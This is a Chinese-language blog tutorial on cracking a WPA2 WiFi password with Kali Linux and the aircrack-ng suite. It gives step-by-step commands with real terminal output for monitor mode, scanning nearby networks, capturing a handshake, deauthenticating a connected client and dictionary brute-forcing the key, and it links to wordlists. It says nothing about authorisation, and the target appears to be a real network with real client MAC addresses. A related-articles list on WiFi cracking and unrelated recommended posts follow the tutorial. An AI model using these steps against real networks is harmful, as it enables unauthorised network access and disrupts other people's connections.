前期准备：

　　kali 系统

　　外置无线网卡

破解过程：

　　首先，需要登录kali系统，可以是虚拟机。

　　在虚拟机中设置点击 虚拟机-可移动设备-无线网卡的名称，将无线网卡绑定到kali虚拟机上。

　　在kali中切换到root账户：sudo su root

　　使用命令：ifconfig 查看无线网卡是否正常接入：一般会回显wlan0，记住这个wlan0 网卡名称

┌──(kali㉿kali)-[~/Desktop]

└─$ ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

        ether 00:0c:29:4f:04:de  txqueuelen 1000  (Ethernet)

        RX packets 5401114  bytes 708741419 (675.9 MiB)

        RX errors 0  dropped 0  overruns 0  frame 0

        TX packets 4868778  bytes 457372067 (436.1 MiB)

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536

        inet 127.0.0.1  netmask 255.0.0.0

        inet6 ::1  prefixlen 128  scopeid 0x10<host>

        loop  txqueuelen 1000  (Local Loopback)

        RX packets 37851  bytes 14126452 (13.4 MiB)

        RX errors 0  dropped 0  overruns 0  frame 0

        TX packets 37851  bytes 14126452 (13.4 MiB)

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500

        ether 06:8a:73:6a:51:48  txqueuelen 1000  (Ethernet)

        RX packets 0  bytes 0 (0.0 B)

        RX errors 0  dropped 0  overruns 0  frame 0

        TX packets 0  bytes 0 (0.0 B)

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

　　使用命令：airmon-ng 查看网卡是否支持监听功能：有回显说明支持监听功能。

┌──(rootkali)-[/home/kali/Desktop]

└─# airmon-ng                                                        

PHY     Interface       Driver          Chipset

phy4    wlan0           rt2800usb       Ralink Technology, Corp. RT2870/RT3070

　　使用命令：airmon-ng start wlan0 激活无线网卡的监听模式

┌──(rootkali)-[/home/kali/Desktop]

└─# airmon-ng start wlan0

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels

and sometimes putting the interface back in managed mode

    PID Name

    531 NetworkManager

 969681 wpa_supplicant

PHY     Interface       Driver          Chipset

phy4    wlan0           rt2800usb       Ralink Technology, Corp. RT2870/RT3070

                (mac80211 monitor mode vif enabled for [phy4]wlan0 on [phy4]wlan0mon)

                (mac80211 station mode vif disabled for [phy4]wlan0)

　　返回enabled说明已经激活，这时使用ifconfig命令再次查看无线网卡，可能会发现无线网卡名称变为wlan0mon

┌──(rootkali)-[/home/kali/Desktop]

└─# ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

        ether 00:0c:29:4f:04:de  txqueuelen 1000  (Ethernet)

        RX packets 5401114  bytes 708741419 (675.9 MiB)

        RX errors 0  dropped 0  overruns 0  frame 0

        TX packets 4868778  bytes 457372067 (436.1 MiB)

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536

        inet 127.0.0.1  netmask 255.0.0.0

        inet6 ::1  prefixlen 128  scopeid 0x10<host>

        loop  txqueuelen 1000  (Local Loopback)

        RX packets 37851  bytes 14126452 (13.4 MiB)

        RX errors 0  dropped 0  overruns 0  frame 0

        TX packets 37851  bytes 14126452 (13.4 MiB)

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

        unspec C8-3A-35-CE-82-22-00-8C-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)

        RX packets 0  bytes 0 (0.0 B)

        RX errors 0  dropped 0  overruns 0  frame 0

        TX packets 0  bytes 0 (0.0 B)

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

　　使用命令：airodump-ng wlan0mon 扫描当前周边环境的WiFi信号，这里的wlan0mon是当前无线网卡的网卡名称，具体名称需要自行更换。如何扫不出来，请插拔一下无线网卡，再次使用命

　　令：airmon-ng start wlan0以及airodump-ng wlan0mon。

CH  5 ][ Elapsed: 6 s ][ 2023-01-20 21:23                                                                                             

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                       

 5A:41:20:A3:5E:D9  -70        2        0    0   1  540   WPA2 CCMP   PSK  <length:  0>

 74:85:C4:5A:8E:2D  -56        2        0    0   6  270   WPA2 CCMP   PSK  scivous

 D6:B7:09:B2:D5:4E  -65        4        0    0   3  360   WPA2 CCMP   PSK  <length:  0>

 50:78:B3:61:04:60  -67        2        0    0   4  130   WPA2 CCMP   PSK  ChinaNet-x5cZ

 48:73:97:01:2C:46  -64        2        0    0   9  130   OPN              <length:  0>

 C8:6C:20:46:E6:AC  -72        2        0    0   4  130   WPA2 CCMP   PSK  ChinaNet-5Zzh

 48:73:97:01:2C:47  -73        2        0    0   9  130   WPA2 CCMP   PSK  ChinaNet-2.4G-2C45

 F0:55:01:F3:EF:75  -75        2        0    0  11  360   WPA2 CCMP   PSK  ChinaNet-G64JFP_Wi-Fi5                                                                                        

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                     

 (not associated)   34:EA:34:9C:A1:F9  -74    0 - 1     15        2         ChinaNet-q97E

 C8:3A:35:06:11:08  16:1E:8A:6F:A0:15   -1   11e- 0      0        3

Quitting...

　　找到需要破解的wifi名称ESSID这一栏：比如scivous，记录这个mac地址（74:85:C4:5A:8E:2D）以及CH号（6）。CH表示无线网络信道，BSSID表示无线 AP 的硬件地址。

　　找到之后，即可CRTL+D结束运行。

　　下面开始抓包：

　　使用命令：airodump-ng -c 6 --bssid 74:85:C4:5A:8E:2D -w /home/kali/Desktop/data wlan0mon

　　这里的6是指CH号，bssid是指bssid号，-w后面写入要保存的文件地址以及对应的文件名称，wlan0mon是指网卡名称。

 CH  6 ][ Elapsed: 6 s ][ 2023-01-20 21:41                                                                                             

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                   

 74:85:C4:5A:8E:2D  -66  38       48       85   15   6  270   WPA2 CCMP   PSK  H3C_1703                                                

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                     

 74:85:C4:5A:8E:2D  E4:93:6A:CB:87:39  -46    0 - 1e  1114       22

 74:85:C4:5A:8E:2D  64:61:40:F4:47:6D  -48    1e- 1e  1430       74

　　出现这个界面，说明已经开始抓包了。如果没有出现，继续插拔无线网卡，按照之前的操作在来一遍。

　　抓包过程可能比较慢，这时可以进行ack攻击，加快抓包进程，这时不要关闭抓包，打开新的terminal，使用命令：

　　aireplay-ng -0 10 -a 74:85:C4:5A:8E:2D -c E4:93:6A:CB:87:39 wlan0mon

　　这里的10代表攻击10次，-a为bssid号，-c为station号（用户硬件设备地址）。

┌──(kali㉿kali)-[~/Desktop]

└─$ sudo aireplay-ng -0 10 -a 74:85:C4:5A:8E:2D -c E4:93:6A:CB:87:39 wlan0mon                                                      1 ⨯

[sudo] password for kali:

21:50:17  Waiting for beacon frame (BSSID: 74:85:C4:5A:8E:2D) on channel 6

21:50:18  Sending 64 directed DeAuth (code 7). STMAC: [E4:93:6A:CB:87:39] [24|49 ACKs]

21:50:18  Sending 64 directed DeAuth (code 7). STMAC: [E4:93:6A:CB:87:39] [47|31 ACKs]

21:50:19  Sending 64 directed DeAuth (code 7). STMAC: [E4:93:6A:CB:87:39] [11|40 ACKs]

21:50:20  Sending 64 directed DeAuth (code 7). STMAC: [E4:93:6A:CB:87:39] [ 8|45 ACKs]

21:50:20  Sending 64 directed DeAuth (code 7). STMAC: [E4:93:6A:CB:87:39] [ 5|38 ACKs]

　　查看抓包界面， CH 6 ][ Elapsed: 6 s ][ 2023-01-20 21:41后面是否出现][ WPA handshake: 74:85:C4:5A:8E:2D，这时，就代表已经抓到了包，在相应的位置会新生成5个文件，找到cap结尾的

　　文件：

　　

暴力破解：

　　使用wifi字典对data-01.cap进行hash暴力破解：这里的破解可以离线破解了，不需要联网。

　　使用命令：aircrack-ng -w /home/kali/Desktop/password.txt -b 74:85:C4:5A:8E:2D /home/kali/Desktop/data-01.cap

　　字典文件可以参考：https://github.com/conwnet/wpa-dictionary，https://www.freedidi.com/2503.html，也可以自己自行收集。

　　破解成功之后，使用相应的密码，登录wifi即可。

如何破解wifi密码？的更多相关文章

  1. Kali Linux下破解WIFI密码挂载usb无线网卡的方法

    Kali Linux下破解WIFI密码挂载usb无线网卡的方法 时间:2014-10-12    来源:服务器之家    投稿:root 首先我要说的是,wifi密码的破解不是想象中的那么容易,目前还 ...

  2. 真正的手机破解wifi密码，aircrack-ng,reaver,仅限mx2（BCM4330芯片）

    仅限mx2(BCM4330芯片),mx可能有戏没测试(BCM4329?),mx3不行. PS:原生安卓应用,非虚拟机 reaver,不知道是啥的看这里http://tieba.baidu.com/p/ ...

  3. 怎么破解Wifi密码

    破解无络网络Wifi密码,让手机上Wifi不再受限. 方法/步骤 1 上网搜索并下载“Wfi万能钥匙”APK程序,然后将其安装到手机内存中.可以借助手机类管理软件将APK应用安装到手机中. 步骤阅读 ...

  4. Mac系统安装Aircrack-ng破解wifi密码(2)

    我们上一篇文章说过如何通过Aircrack-ng, 破解使用WPA/PSK加密方式的路由密码, 这一篇介绍的是使用Aircrack-ng破解使用WEP加密方式的路由密码: WEP和WPA/PSK的区别 ...

  5. aircrack 破解wifi密码

    分享一个用aircrack破解wifi密码的步骤: 1.新建一个终端 airmon-ng check kill airmon-ng start wlan0 airodump-ng wlan0mon 此 ...

  6. 电脑破解wifi密码(至少连过1次的才可以)

    电脑破解wifi密码(至少连过1次的才可以) 连过的wifi密码忘记了怎么办? 只要你电脑连过的都能破解. cmd输入以下内容查看电脑连接过的wifi名字. netsh wlan show profi ...

  7. Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)

    Kali Linux能做很多事,但是它主要以渗透测试及'破解wifi密码'闻名. 如果你使用Macbook 请看 使用macbook破解WPA/WPA2 wifi密码 要求: 安装有Kali Linu ...

  8. 分享一个撩妹、装13神技能，0基础用Python暴力破解WiFi密码

    WiFi密码Python暴力破解   Python密码破解部分截图 获取视频资料,转发此文+点击喜欢,然后获取资料请加Python交流群:580478401,就可以获取视频教程+源码 环境准备: py ...

  9. 用 Python 破解 WiFi 密码

    如今,WiFi 跟我们的生活息息相关,无处不在.没有 WiFi 的地方是没有灵魂的! ​ 然而,比没有WiFi更让人绝望的,是有满格WiFi信号却没有密码…… ​ 今天我们就来尝试下,如何利用pyth ...

  10. 路由器安全——破解wifi密码，同时中间人攻击

    聊聊安全那些事儿 篇一:Wi-Fi安全浅析 2016-04-25 13:18:16 141点赞 712收藏 63评论 前言 近期,Wi-Fi相关的安全话题充斥着电视新闻的大屏幕,先是曝出了路由器劫持的 ...

随机推荐

  1. 文心一言 VS chatgpt （4）-- 算法导论2.2 1~2题

    一.用O记号表示函数(n ^ 3)/1000-100(n^2)-100n十3. 文心一言: chatgpt: 可以使用大 O 记号表示该函数的渐进复杂度,即: f ( n ) = n 3 1000 − ...

  2. 2021-11-27：给定一个数组arr，长度为N，做出一个结构，可以高效的做如下的查询: 1) int querySum(L,R) : 查询arr[L...R]上的累加和； 2) int query

    2021-11-27:给定一个数组arr,长度为N,做出一个结构,可以高效的做如下的查询: int querySum(L,R) : 查询arr[L-R]上的累加和; int queryAim(L,R) ...

  3. 沁恒 CH32V208(四): CH32V208 网络DHCP示例代码分析

    目录 沁恒 CH32V208(一): CH32V208WBU6 评估板上手报告和Win10环境配置 沁恒 CH32V208(二): CH32V208的储存结构, 启动模式和时钟 沁恒 CH32V208 ...

  4. cv学习总结（11.14-11.20）

    本周主要完成了assignment2中的connected_layer部分的代码,跟assignment1中的two_layer_net相比,虽然整体思路都是实现全连接的网络,但是connect_la ...

  5. youtobe深度学习推荐系统-学习笔记

    简介 前言 本文是Deep Neural Networks for YouTube Recommendations 论文的学习笔记.淘宝的召回模型曾经使用过这篇论文里面的方案,后续淘宝召回模型升级到了 ...

  6. 给你的 Discord 接入一个既能联网又能画画的 ChatGPT

    如果有这样一款 Discord 机器人,它既能访问互联网,又能绘画,还能给 YouTube 视频提供摘要.最重要的是,它是完全免费的,不需要提供 OpenAI 的 API Key,我就问你香不香? 现 ...

  7. 前端下拉框组件CCDropDownFilter下拉框 筛选框 仿美团下拉筛选框

    快速实现下拉框 筛选框 仿美团下拉筛选框, 请访问uni-app插件市场地址:https://ext.dcloud.net.cn/plugin?id=12421 效果图如下:   # 下拉框使用方法 ...

  8. PostgreSQL 12 文档: 部分 V. 服务器编程

    部分 V. 服务器编程 这部分关于使用用户定义的函数.数据类型.触发器等扩展服务器功能.这些是高级主题,读者应该在理解了有关PostgreSQL的所有其他用户文档之后才阅读这些主题.这一部分的后面一些 ...

  9. 痞子衡嵌入式：从功耗测试角度了解i.MXRTxxx系列片内SRAM分区电源控制

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是从功耗测试角度了解i.MXRTxxx系列片内SRAM分区电源控制. 我们知道配合 MCU 一起工作的存储器包含 ROM(Flash) 和 ...

  10. Python Django 模版全解与实战

    本文首先介绍了Django模板系统的基础知识,接着探讨了如何安装和配置Django模板系统,然后深入解析了Django模板的基本结构.标签和过滤器的用法,阐述了如何在模板中展示模型数据,最后使用一个实 ...